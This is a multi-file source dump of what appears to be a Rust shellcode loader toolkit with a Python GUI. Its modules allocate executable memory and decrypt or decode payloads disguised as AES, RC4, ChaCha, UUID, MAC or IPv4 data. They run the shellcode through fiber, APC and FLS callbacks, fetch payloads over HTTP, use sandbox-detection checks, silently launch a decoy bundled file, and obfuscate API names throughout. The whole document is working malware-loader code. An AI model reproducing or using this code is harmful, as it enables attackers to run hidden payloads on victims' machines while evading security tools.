8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
9 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
10 |
11 | let mmap = match memmap2::MmapMut::map_anon(size) {
12 | Ok(m) => m,
13 | Err(_) => return Err(obfstr!("mmap anonymous failed").to_string()),
14 | };
15 | let boxed = Box::new(mmap);
16 | let leaked: &'static mut memmap2::MmapMut = Box::leak(boxed);
17 | let p = leaked.as_mut_ptr();
18 | let mut old_protect = 0u32;
19 | let ok = virtual_protect(p as *mut _, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
20 | if ok == 0 {
21 | return Err(obfstr!("VirtualProtect failed").to_string());
22 | }
23 | Ok(p as *mut u8)
24 | }
--------------------------------------------------------------------------------
/src/guard/api_flood.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | use obfstr::obfbytes;
3 | pub fn is_running_in_vm_api_flooding(iterations: u32, threshold_ms: u128) -> bool {
4 | use std::time::Instant;
5 | use std::mem::transmute;
6 | use crate::utils::{load_library, get_proc_address};
7 |
8 | unsafe {
9 | let kernel32 = match load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
10 | Ok(lib) => lib,
11 | Err(_) => return false,
12 | };
13 |
14 | // Resolve GetSystemTimeAsFileTime to repeatedly call and measure
15 | let p_time = match get_proc_address(kernel32, obfbytes!(b"GetSystemTimeAsFileTime\0").as_slice()) {
16 | Ok(f) => f,
17 | Err(_) => return false,
18 | };
19 |
20 | // typedef VOID (WINAPI *GetSystemTimeAsFileTime)(LPFILETIME);
21 | let get_time: unsafe extern "system" fn(*mut u64) = transmute(p_time);
22 |
23 | let mut filetime: u64 = 0;
24 | let start = Instant::now();
25 | for _ in 0..iterations {
26 | get_time(&mut filetime as *mut u64);
27 | }
28 | let elapsed = start.elapsed().as_millis();
29 |
30 | elapsed > threshold_ms
31 | }
32 | }
--------------------------------------------------------------------------------
/src/load_payload/cmdline.rs:
--------------------------------------------------------------------------------
1 | use std::env;
2 | use obfstr::obfstr;
3 | use crate::utils::simple_decrypt;
4 |
5 | pub fn load_payload() -> Result, Box> {
6 | let args: Vec = env::args().collect();
7 | let address = if args.len() < 2 || args[1].is_empty() {
8 | // Decrypt the encrypted default address
9 | simple_decrypt(env!("RSL_ENCRYPTED_DEFAULT_PAYLOAD_ADDRESS"))
10 | } else {
11 | args[1].clone()
12 | };
13 |
14 | if address.starts_with("http://") || address.starts_with("https://") {
15 | // Remote loading with user-agent spoofing
16 | let (status_code, body) = crate::utils::http_get(&address)?;
17 |
18 | if status_code < 200 || status_code >= 300 {
19 | return Err(format!("{} {}", obfstr!("Network error:"), status_code).into());
20 | }
21 | Ok(body)
22 | } else {
23 | // Local file loading with existence check
24 | let path = std::path::Path::new(&address);
25 | if !path.exists() {
26 | return Err(format!("{} {}", obfstr!("Resource unavailable:"), path.display()).into());
27 | }
28 |
29 | Ok(std::fs::read(&address)?)
30 | }
31 | }
--------------------------------------------------------------------------------
/src/alloc_mem/local.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
3 | use obfstr::{obfstr, obfbytes};
4 | use core::ffi::c_void;
5 |
6 | type LocalAllocFn = unsafe extern "system" fn(u_flags: u32, u_bytes: usize) -> *mut c_void;
7 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
8 |
9 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
10 | let local_alloc: LocalAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"LocalAlloc\0").as_slice())?);
11 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
12 |
13 | let p = local_alloc(0x0040, size);
14 | if p.is_null() {
15 | return Err(obfstr!("LocalAlloc failed").to_string());
16 | }
17 |
18 | let mut old_protect = 0u32;
19 | let ok = virtual_protect(p, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
20 | if ok == 0 {
21 | return Err(obfstr!("VirtualProtect failed").to_string());
22 | }
23 |
24 | Ok(p as *mut u8)
25 | }
--------------------------------------------------------------------------------
/src/decrypt/rc4.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 |
4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 | use rc4::{Rc4, StreamCipher, KeyInit};
6 | use generic_array::{GenericArray, typenum::U32};
7 | use sha2::{Sha256, Digest};
8 | let key_len = 32;
9 | let hash_len = 32;
10 | if decoded.len() < key_len + hash_len + 1 {
11 | return Err(obfstr!("rc4 payload too short").to_string());
12 | }
13 | let key = &decoded[0..key_len];
14 | let hash = &decoded[key_len..key_len + hash_len];
15 | let encrypted = &decoded[key_len + hash_len..];
16 | let p = unsafe { alloc_mem(encrypted.len())? };
17 | std::ptr::copy_nonoverlapping(encrypted.as_ptr(), p, encrypted.len());
18 | let buf = std::slice::from_raw_parts_mut(p, encrypted.len());
19 | let key_array: &GenericArray = GenericArray::from_slice(key);
20 | let mut cipher = Rc4::new(key_array);
21 | cipher.apply_keystream(buf);
22 | let mut hasher = Sha256::new();
23 | hasher.update(buf);
24 | let calc_hash = hasher.finalize();
25 | if hash != calc_hash.as_slice() {
26 | return Err(obfstr!("rc4 hash mismatch").to_string());
27 | }
28 | Ok((p as usize, encrypted.len())) // Return executable memory address
29 | }
--------------------------------------------------------------------------------
/src/exec/fls_alloc.rs:
--------------------------------------------------------------------------------
1 | use std::ffi::c_void;
2 | use obfstr::{obfbytes, obfstr};
3 | pub unsafe fn exec(p: usize) -> Result<(), String> {
4 | use crate::utils::{load_library, get_proc_address};
5 | use std::mem::transmute;
6 |
7 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
8 | let p_fls_alloc = get_proc_address(kernel32, obfbytes!(b"FlsAlloc\0").as_slice())?;
9 | let p_fls_set_value = get_proc_address(kernel32, obfbytes!(b"FlsSetValue\0").as_slice())?;
10 | let p_fls_free = get_proc_address(kernel32, obfbytes!(b"FlsFree\0").as_slice())?;
11 |
12 | type FlsAllocFn = unsafe extern "system" fn(unsafe extern "system" fn(*mut c_void)) -> u32;
13 | type FlsSetValueFn = unsafe extern "system" fn(u32, *mut c_void) -> i32;
14 | type FlsFreeFn = unsafe extern "system" fn(u32) -> i32;
15 |
16 | let fls_alloc: FlsAllocFn = transmute(p_fls_alloc);
17 | let fls_set_value: FlsSetValueFn = transmute(p_fls_set_value);
18 | let fls_free: FlsFreeFn = transmute(p_fls_free);
19 |
20 | let index = fls_alloc(transmute(p));
21 | if index == 0xFFFFFFFF { // FLS_OUT_OF_INDEXES
22 | return Err(obfstr!("FlsAlloc failed").to_string());
23 | }
24 |
25 | fls_set_value(index, 1 as *mut c_void);
26 | fls_free(index);
27 | Ok(())
28 | }
--------------------------------------------------------------------------------
/src/alloc_mem/snmp_util.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | #[allow(dead_code)]
3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 | use obfstr::{obfstr, obfbytes};
5 | use core::ffi::c_void;
6 |
7 | type SnmpUtilMemAllocFn = unsafe extern "system" fn(n_bytes: u32) -> *mut c_void;
8 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
9 |
10 | let snmpapi = load_library(obfbytes!(b"snmpapi.dll\0").as_slice())?;
11 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
12 |
13 | let snmp_alloc: SnmpUtilMemAllocFn = core::mem::transmute(get_proc_address(snmpapi, obfbytes!(b"SnmpUtilMemAlloc\0").as_slice())?);
14 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
15 |
16 | let p = snmp_alloc(size as u32);
17 | if p.is_null() {
18 | return Err(obfstr!("SnmpUtilMemAlloc failed").to_string());
19 | }
20 |
21 | let mut old_protect = 0u32;
22 | let ok = virtual_protect(p, size, 0x40, &mut old_protect);
23 | if ok == 0 {
24 | return Err(obfstr!("VirtualProtect failed").to_string());
25 | }
26 |
27 | Ok(p as *mut u8)
28 | }
--------------------------------------------------------------------------------
/src/exec/apc.rs:
--------------------------------------------------------------------------------
1 | use obfstr::{obfbytes, obfstr};
2 | pub unsafe fn exec(p: usize) -> Result<(), String> {
3 | use crate::utils::{load_library, get_proc_address};
4 | use std::mem::transmute;
5 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
6 | let p_queue_apc = get_proc_address(kernel32, obfbytes!(b"QueueUserAPC\0").as_slice())?;
7 | let p_get_current_thread = get_proc_address(kernel32, obfbytes!(b"GetCurrentThread\0").as_slice())?;
8 | let p_sleep_ex = get_proc_address(kernel32, obfbytes!(b"SleepEx\0").as_slice())?;
9 | type QueueUserAPCFn = unsafe extern "system" fn(Option, usize, usize) -> u32;
10 | type GetCurrentThreadFn = unsafe extern "system" fn() -> isize;
11 | type SleepExFn = unsafe extern "system" fn(u32, i32) -> u32;
12 | let queue_user_apc: QueueUserAPCFn = transmute(p_queue_apc);
13 | let get_current_thread: GetCurrentThreadFn = transmute(p_get_current_thread);
14 | let sleep_ex: SleepExFn = transmute(p_sleep_ex);
15 | let apc_fn: unsafe extern "system" fn(usize) = transmute(p);
16 | let thread = get_current_thread();
17 | let ret = queue_user_apc(Some(apc_fn), thread as usize, 0);
18 | if ret == 0 {
19 | return Err(obfstr!("QueueUserAPC failed").to_string());
20 | }
21 | sleep_ex(u32::MAX, 1);
22 | Ok(())
23 | }
--------------------------------------------------------------------------------
/src/guard/c_drive.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | use obfstr::obfbytes;
3 | pub fn is_c_drive_total_over(threshold_gb: u64) -> bool {
4 | use std::mem::transmute;
5 | use crate::utils::{load_library, get_proc_address};
6 |
7 | unsafe {
8 | // Resolve kernel32.dll and GetDiskFreeSpaceExA by name, hiding names with obf_lit_bytes!
9 | let kernel32 = match load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
10 | Ok(lib) => lib,
11 | Err(_) => return false,
12 | };
13 |
14 | let p_gdse = match get_proc_address(kernel32, obfbytes!(b"GetDiskFreeSpaceExA\0").as_slice()) {
15 | Ok(f) => f,
16 | Err(_) => return false,
17 | };
18 |
19 | // typedef BOOL (WINAPI *GetDiskFreeSpaceExA)(LPCSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER);
20 | let gdse: unsafe extern "system" fn(*const u8, *mut u64, *mut u64, *mut u64) -> i32 = transmute(p_gdse);
21 |
22 | let mut free_avail: u64 = 0;
23 | let mut total_bytes: u64 = 0;
24 | let mut total_free: u64 = 0;
25 |
26 | let root = obfbytes!(b"C:\\\0");
27 | let ok = gdse(root.as_ptr(), &mut free_avail as *mut u64, &mut total_bytes as *mut u64, &mut total_free as *mut u64);
28 | if ok == 0 {
29 | return false;
30 | }
31 |
32 | return total_bytes >= threshold_gb.saturating_mul(1024 * 1024 * 1024)
33 | }
34 | }
--------------------------------------------------------------------------------
/src/decrypt/xchacha20.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 |
4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 | use chacha20poly1305::{XChaCha20Poly1305, Key, XNonce};
6 | use chacha20poly1305::aead::{AeadInPlace, KeyInit};
7 |
8 | let key_len = 32;
9 | let nonce_len = 24;
10 | let tag_len = 16;
11 |
12 | if decoded.len() < key_len + nonce_len + tag_len {
13 | return Err(obfstr!("xchacha20 payload too short").to_string());
14 | }
15 |
16 | let key_bytes = &decoded[0..key_len];
17 | let nonce_bytes = &decoded[key_len..key_len + nonce_len];
18 | let tag_bytes = &decoded[key_len + nonce_len..key_len + nonce_len + tag_len];
19 | let ciphertext = &decoded[key_len + nonce_len + tag_len..];
20 |
21 | let p = unsafe { alloc_mem(ciphertext.len())? };
22 | std::ptr::copy_nonoverlapping(ciphertext.as_ptr(), p, ciphertext.len());
23 |
24 | let buf = std::slice::from_raw_parts_mut(p, ciphertext.len());
25 |
26 | let key = Key::from_slice(key_bytes);
27 | let nonce = XNonce::from_slice(nonce_bytes);
28 | let tag = chacha20poly1305::Tag::from_slice(tag_bytes);
29 |
30 | let cipher = XChaCha20Poly1305::new(key);
31 |
32 | cipher.decrypt_in_place_detached(nonce, b"", buf, tag)
33 | .map_err(|_| obfstr!("xchacha20 decrypt fail").to_string())?;
34 |
35 | Ok((p as usize, ciphertext.len()))
36 | }
--------------------------------------------------------------------------------
/src/decrypt/uuid.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 |
4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 | use sha2::{Sha256, Digest};
6 | let hash_len = 32;
7 | let len_len = 4;
8 | if decoded.len() < hash_len + len_len {
9 | return Err(obfstr!("uuid payload too short").to_string());
10 | }
11 | let hash = &decoded[0..hash_len];
12 | let len_bytes = &decoded[hash_len..hash_len + len_len];
13 | let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 | let uuids_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 | let uuids: Vec<&str> = uuids_str.split(',').collect();
16 | let p = unsafe { alloc_mem(original_len)? };
17 | let buf = std::slice::from_raw_parts_mut(p, original_len);
18 | let mut idx = 0;
19 | for uuid_str in uuids {
20 | let u = uuid::Uuid::parse_str(uuid_str).map_err(|_| obfstr!("Invalid UUID").to_string())?;
21 | let bytes = u.as_bytes();
22 | for &b in bytes {
23 | if idx >= original_len { break; }
24 | buf[idx] = b;
25 | idx += 1;
26 | }
27 | }
28 | let mut hasher = Sha256::new();
29 | hasher.update(&buf[..original_len]);
30 | let calc_hash = hasher.finalize();
31 | if hash != calc_hash.as_slice() {
32 | return Err(obfstr!("uuid hash mismatch").to_string());
33 | }
34 | Ok((p as usize, original_len))
35 | }
--------------------------------------------------------------------------------
/src/forgery/bundle.rs:
--------------------------------------------------------------------------------
1 | use std::io::Write;
2 | use std::os::windows::process::CommandExt;
3 | use tempfile::NamedTempFile;
4 | use obfstr::obfstr;
5 |
6 | // Include the generated bundle data
7 | include!("bundle_data.rs");
8 |
9 | #[allow(dead_code)]
10 | pub fn bundlefile() -> Result<(), Box> {
11 | const CREATE_NO_WINDOW: u32 = 0x08000000;
12 |
13 | // Use compile-time environment variable for filename
14 | const ORIGINAL_FILE_NAME: &str = env!("RSL_BUNDLE_FILENAME");
15 | if ORIGINAL_FILE_NAME.is_empty() {
16 | return Err("Bundle filename not set".into());
17 | }
18 | let original_file_name = ORIGINAL_FILE_NAME;
19 |
20 | let mut temp_file = NamedTempFile::new().map_err(|e| format!("Failed to create temp file: {}", e))?;
21 |
22 | let temp_dir = temp_file.path().parent().unwrap();
23 | let temp_file_path = temp_dir.join(&original_file_name);
24 |
25 | temp_file.write_all(MEMORY_FILE).map_err(|e| format!("Failed to write to temp file: {}", e))?;
26 | temp_file.flush().map_err(|e| format!("Failed to flush temp file: {}", e))?;
27 |
28 | std::fs::rename(temp_file.path(), &temp_file_path).map_err(|e| format!("Failed to rename temporary file: {}", e))?;
29 |
30 | use std::process::Command;
31 | Command::new(obfstr!("cmd"))
32 | .args(&[obfstr!("/c"), obfstr!("start"), obfstr!("/B"), temp_file_path.to_str().unwrap()])
33 | .creation_flags(CREATE_NO_WINDOW)
34 | .spawn()
35 | .map_err(|e| format!("Failed to open file: {}", e))?;
36 |
37 | Ok(())
38 | }
--------------------------------------------------------------------------------
/src/alloc_mem/global.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | use obfstr::{obfstr, obfbytes};
3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 | use core::ffi::c_void;
5 |
6 | type GlobalAllocFn = unsafe extern "system" fn(u_flags: u32, dw_bytes: usize) -> *mut c_void;
7 | type GlobalLockFn = unsafe extern "system" fn(h_mem: *mut c_void) -> *mut c_void;
8 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
9 |
10 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
11 | let global_alloc: GlobalAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GlobalAlloc\0").as_slice())?);
12 | let global_lock: GlobalLockFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GlobalLock\0").as_slice())?);
13 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
14 |
15 | let h_mem = global_alloc(0x0042, size);
16 | if h_mem.is_null() {
17 | return Err(obfstr!("GlobalAlloc failed").to_string());
18 | }
19 |
20 | let p = global_lock(h_mem);
21 | if p.is_null() {
22 | return Err(obfstr!("GlobalLock failed").to_string());
23 | }
24 |
25 | let mut old_protect = 0u32;
26 | let ok = virtual_protect(p, size, 0x40, &mut old_protect);
27 | if ok == 0 {
28 | return Err(obfstr!("VirtualProtect failed").to_string());
29 | }
30 |
31 | Ok(p as *mut u8)
32 | }
--------------------------------------------------------------------------------
/src/exec/fiber.rs:
--------------------------------------------------------------------------------
1 | use std::ffi::c_void;
2 | use obfstr::{obfbytes, obfstr};
3 | pub unsafe fn exec(p: usize) -> Result<(), String> {
4 | use crate::utils::{load_library, get_proc_address};
5 | use std::mem::transmute;
6 | use std::ptr::null_mut;
7 |
8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
9 | let p_convert = get_proc_address(kernel32, obfbytes!(b"ConvertThreadToFiber\0").as_slice())?;
10 | let p_create = get_proc_address(kernel32, obfbytes!(b"CreateFiber\0").as_slice())?;
11 | let p_switch = get_proc_address(kernel32, obfbytes!(b"SwitchToFiber\0").as_slice())?;
12 |
13 | type ConvertThreadToFiberFn = unsafe extern "system" fn(*mut c_void) -> *mut c_void;
14 | type CreateFiberFn = unsafe extern "system" fn(usize, unsafe extern "system" fn(*mut c_void), *mut c_void) -> *mut c_void;
15 | type SwitchToFiberFn = unsafe extern "system" fn(*mut c_void);
16 |
17 | let convert_thread_to_fiber: ConvertThreadToFiberFn = transmute(p_convert);
18 | let create_fiber: CreateFiberFn = transmute(p_create);
19 | let switch_to_fiber: SwitchToFiberFn = transmute(p_switch);
20 |
21 | let primary_fiber = convert_thread_to_fiber(null_mut());
22 | if primary_fiber.is_null() {
23 | return Err(obfstr!("ConvertThreadToFiber failed").to_string());
24 | }
25 |
26 | let shellcode_fiber = create_fiber(0, transmute(p), null_mut());
27 | if shellcode_fiber.is_null() {
28 | return Err(obfstr!("CreateFiber failed").to_string());
29 | }
30 |
31 | switch_to_fiber(shellcode_fiber);
32 |
33 | Ok(())
34 | }
--------------------------------------------------------------------------------
/src/alloc_mem/heap.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 |
3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 | use obfstr::{obfstr, obfbytes};
5 | use core::ffi::c_void;
6 |
7 | type GetProcessHeapFn = unsafe extern "system" fn() -> isize;
8 | type HeapAllocFn = unsafe extern "system" fn(h_heap: isize, dw_flags: u32, dw_bytes: usize) -> *mut c_void;
9 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
10 |
11 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
12 | let get_process_heap: GetProcessHeapFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetProcessHeap\0").as_slice())?);
13 | let heap_alloc: HeapAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"HeapAlloc\0").as_slice())?);
14 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
15 |
16 | let heap = get_process_heap();
17 | if heap == 0 {
18 | return Err(obfstr!("GetProcessHeap failed").to_string());
19 | }
20 | let p = heap_alloc(heap, 0x00000008, size);
21 | if p.is_null() {
22 | return Err(obfstr!("HeapAlloc failed").to_string());
23 | }
24 | let mut old_protect = 0u32;
25 | let ok = virtual_protect(p, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
26 | if ok == 0 {
27 | return Err(obfstr!("VirtualProtect failed").to_string());
28 | }
29 | Ok(p as *mut u8)
30 | }
--------------------------------------------------------------------------------
/gui/sign.py:
--------------------------------------------------------------------------------
1 | import os
2 | from PyQt5.QtWidgets import QComboBox, QFileDialog
3 | from PyQt5.QtGui import QIcon
4 |
5 | class SignAppComboBox(QComboBox):
6 | def __init__(self, parent=None):
7 | super().__init__(parent)
8 | self.refresh()
9 | self.setSizeAdjustPolicy(QComboBox.AdjustToContents)
10 |
11 | def refresh(self):
12 | self.clear()
13 | app_dir = os.path.join('sign', 'app')
14 | exe_icon = QIcon(os.path.join('gui', 'icons', 'exe.ico')) if os.path.exists(os.path.join('gui', 'icons', 'exe.ico')) else QIcon()
15 | if os.path.isdir(app_dir):
16 | for f in os.listdir(app_dir):
17 | if f.lower().endswith('.exe'):
18 | abs_path = os.path.abspath(os.path.join(app_dir, f))
19 | self.addItem(exe_icon, f, abs_path)
20 | if self.count() > 0 and self.currentIndex() == -1:
21 | self.setCurrentIndex(0)
22 |
23 | def choose_file(self, parent=None):
24 | path, _ = QFileDialog.getOpenFileName(parent, '选择被伪造的应用', '.', 'EXE Files (*.exe);;All Files (*)')
25 | if path:
26 | display_name = os.path.basename(path)
27 | exe_icon = QIcon(os.path.join('gui', 'icons', 'exe.ico')) if os.path.exists(os.path.join('gui', 'icons', 'exe.ico')) else QIcon()
28 | for i in range(self.count()):
29 | if self.itemData(i) == path:
30 | self.setCurrentIndex(i)
31 | return
32 | self.addItem(exe_icon, display_name, path)
33 | self.setCurrentIndex(self.count() - 1)
34 |
--------------------------------------------------------------------------------
/src/alloc_mem/va_veh_syscall.rs:
--------------------------------------------------------------------------------
1 | use rust_veh_syscalls::syscall;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtAllocateVirtualMemory = unsafe extern "system" fn(
8 | ProcessHandle: HANDLE,
9 | BaseAddress: *mut *mut c_void,
10 | ZeroBits: usize,
11 | RegionSize: *mut usize,
12 | AllocationType: u32,
13 | Protect: u32,
14 | ) -> i32;
15 |
16 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
17 | let mut base_address: *mut c_void = ptr::null_mut();
18 | let mut region_size: usize = size;
19 |
20 | const MEM_COMMIT: u32 = 0x0000_1000;
21 | const MEM_RESERVE: u32 = 0x0000_2000;
22 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
23 |
24 | // VEH-based syscall using rust_veh_syscalls
25 | let status: i32 = syscall!(
26 | "NtAllocateVirtualMemory",
27 | NtAllocateVirtualMemory,
28 | HANDLE(-1isize as isize), // ProcessHandle
29 | &mut base_address, // BaseAddress
30 | 0, // ZeroBits
31 | &mut region_size, // RegionSize
32 | MEM_COMMIT | MEM_RESERVE, // AllocationType
33 | PAGE_EXECUTE_READWRITE // Protect
34 | );
35 |
36 | if status == -1 {
37 | Err("Failed to resolve syscall for NtAllocateVirtualMemory".to_string())
38 | } else if status == 0 { // STATUS_SUCCESS
39 | Ok(base_address as *mut u8)
40 | } else {
41 | Err(format!("NtAllocateVirtualMemory failed with status: 0x{:x}", status))
42 | }
43 | }
--------------------------------------------------------------------------------
/src/decrypt/mac.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 |
4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 | use sha2::{Sha256, Digest};
6 | let hash_len = 32;
7 | let len_len = 4;
8 | if decoded.len() < hash_len + len_len {
9 | return Err(obfstr!("mac payload too short").to_string());
10 | }
11 | let hash = &decoded[0..hash_len];
12 | let len_bytes = &decoded[hash_len..hash_len + len_len];
13 | let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 | let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 | let addresses: Vec<&str> = addresses_str.split(',').collect();
16 | let p = unsafe { alloc_mem(original_len)? };
17 | let buf = std::slice::from_raw_parts_mut(p, original_len);
18 | let mut idx = 0;
19 | 'outer: for mac_str in addresses {
20 | let parts: Vec<&str> = mac_str.split('-').collect();
21 | if parts.len() != 6 { return Err(obfstr!("Invalid MAC address").to_string()); }
22 | for p in parts {
23 | if idx >= original_len { break 'outer; }
24 | let b = u8::from_str_radix(p, 16).map_err(|_| obfstr!("Invalid MAC byte").to_string())?;
25 | buf[idx] = b;
26 | idx += 1;
27 | }
28 | }
29 | let mut hasher = Sha256::new();
30 | hasher.update(&buf[..original_len]);
31 | let calc_hash = hasher.finalize();
32 | if hash != calc_hash.as_slice() {
33 | return Err(obfstr!("mac hash mismatch").to_string());
34 | }
35 | Ok((p as usize, original_len))
36 | }
--------------------------------------------------------------------------------
/src/decrypt/ipv4.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 |
3 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
4 | use sha2::{Sha256, Digest};
5 | use obfstr::obfstr;
6 | let hash_len = 32;
7 | let len_len = 4;
8 | if decoded.len() < hash_len + len_len {
9 | return Err(obfstr!("ipv4 payload too short").to_string());
10 | }
11 | let hash = &decoded[0..hash_len];
12 | let len_bytes = &decoded[hash_len..hash_len + len_len];
13 | let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 | let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 | let addresses: Vec<&str> = addresses_str.split(',').collect();
16 | let p = unsafe { alloc_mem(original_len)? };
17 | let buf = std::slice::from_raw_parts_mut(p, original_len);
18 | let mut idx = 0;
19 | 'outer: for addr_str in addresses {
20 | let parts = addr_str.split('.').collect::>();
21 | if parts.len() != 4 { return Err(obfstr!("Invalid IPv4 address").to_string()); }
22 | for p in parts {
23 | if idx >= original_len { break 'outer; }
24 | let b: u8 = p.parse().map_err(|_| obfstr!("Invalid IPv4 byte").to_string())?;
25 | buf[idx] = b;
26 | idx += 1;
27 | }
28 | }
29 | let mut hasher = Sha256::new();
30 | hasher.update(&buf[..original_len]);
31 | let calc_hash = hasher.finalize();
32 | if hash != calc_hash.as_slice() {
33 | return Err(obfstr!("ipv4 hash mismatch").to_string());
34 | }
35 | Ok((p as usize, original_len))
36 | }
--------------------------------------------------------------------------------
/src/decrypt/aes.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
4 | use aes::Aes256;
5 | use cipher::{BlockDecryptMut, KeyIvInit, block_padding::Pkcs7};
6 | use sha2::{Sha256, Digest};
7 |
8 | type Aes256CbcDec = cbc::Decryptor;
9 |
10 | let key_len = 32; // AES-256 key size
11 | let iv_len = 16; // AES block size
12 | let hash_len = 32; // SHA-256 hash size
13 |
14 | if decoded.len() < key_len + iv_len + hash_len + 1 {
15 | return Err(obfstr!("aes payload too short").to_string());
16 | }
17 |
18 | let key = &decoded[0..key_len];
19 | let iv = &decoded[key_len..key_len + iv_len];
20 | let hash = &decoded[key_len + iv_len..key_len + iv_len + hash_len];
21 | let encrypted = &decoded[key_len + iv_len + hash_len..];
22 |
23 | let p = unsafe { alloc_mem(encrypted.len())? };
24 | std::ptr::copy_nonoverlapping(encrypted.as_ptr(), p, encrypted.len());
25 | let buf = std::slice::from_raw_parts_mut(p, encrypted.len());
26 |
27 | let cipher = Aes256CbcDec::new_from_slices(key, iv)
28 | .map_err(|_| obfstr!("invalid aes key or iv").to_string())?;
29 |
30 | let pt_len = cipher.decrypt_padded_mut::(buf)
31 | .map_err(|_| obfstr!("aes decryption failed").to_string())?
32 | .len();
33 |
34 | let mut hasher = Sha256::new();
35 | hasher.update(&buf[..pt_len]);
36 | let calc_hash = hasher.finalize();
37 |
38 | if hash != calc_hash.as_slice() {
39 | return Err(obfstr!("aes hash mismatch").to_string());
40 | }
41 |
42 | Ok((p as usize, pt_len))
43 | }
--------------------------------------------------------------------------------
/src/alloc_mem/va_from_app.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
3 | use obfstr::{obfstr, obfbytes};
4 | use core::ffi::c_void;
5 |
6 | type VirtualAllocFromAppFn = unsafe extern "system" fn(
7 | base_address: *mut c_void,
8 | size: usize,
9 | allocation_type: u32,
10 | protection: u32
11 | ) -> *mut c_void;
12 |
